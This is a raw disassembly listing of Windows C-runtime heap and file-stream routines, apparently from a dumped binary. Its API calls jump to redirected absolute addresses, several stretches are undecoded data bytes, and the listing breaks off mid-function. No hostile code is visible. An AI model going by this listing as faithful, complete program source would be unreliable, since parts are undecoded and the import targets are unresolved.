		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBEA4
		call	near ptr 2720000h
		nop
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 0CA744B6Fh, 0D4BBE210h, 0DD58AF41h, 0A164BA9Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 12E890E8h, 33024B38h, 89D48AD2h
		dd 4DBE0415h, 81C88B00h, 0FFE1h, 0D8900h, 0C1004DBEh, 0CA0308E1h
		dd 0BDFC0D89h, 0E8C1004Dh, 0BDF8A310h, 0F633004Dh, 440E856h
		dd 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h, 0C4E8FC75h
		dd 90000058h, 4B37B2E8h, 0D3ACA302h, 82E8004Dh,	0A3000057h
		dd 4DBE44h, 552BE8h, 546DE800h,	0F9E80000h, 89FFFFDEh
		dd 458DD075h, 0E89050A4h, 24B1D88h, 53FEE8h, 9C458900h
		dd 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah, 569C75FFh
		dd 8DE89056h, 50022922h, 0FE2F80E8h, 0A04589FFh, 0DEE7E850h
		dd 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h, 59000052h
		dd 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE4C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE50
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE4C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD160
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 26A0CACh
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD040, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26B0528h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24D1978h
		dd 0A3C08590h, 4DD3A4h,	93E83674h, 83FFFFFEh, 0A8A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D3A435FFh, 0E890004Dh
		dd 24C2557h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DD3A4h
		dd 191EE890h, 0C0850240h, 4DD39CA3h, 0C3017500h, 4244C8Bh
		dd 0D3942583h, 8300004Dh, 4DD39825h, 16A0000h, 4DD390A3h
		dd 0A00D8900h, 0C7004DD3h, 4DD38805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD398
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD39C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD394
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD38C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD38C
		mov	eax, dword_4DD394
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD394
		mov	ecx, dword_4DD38C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD394
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD394
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD394


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD394
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2810000h
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD394
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD398
		cmp	eax, dword_4DD394
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD39C
		mov	dword_4DD390, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD38C, edi
		mov	dword_4DD394, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD398
		mov	edx, dword_4DD39C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD390
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD390, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
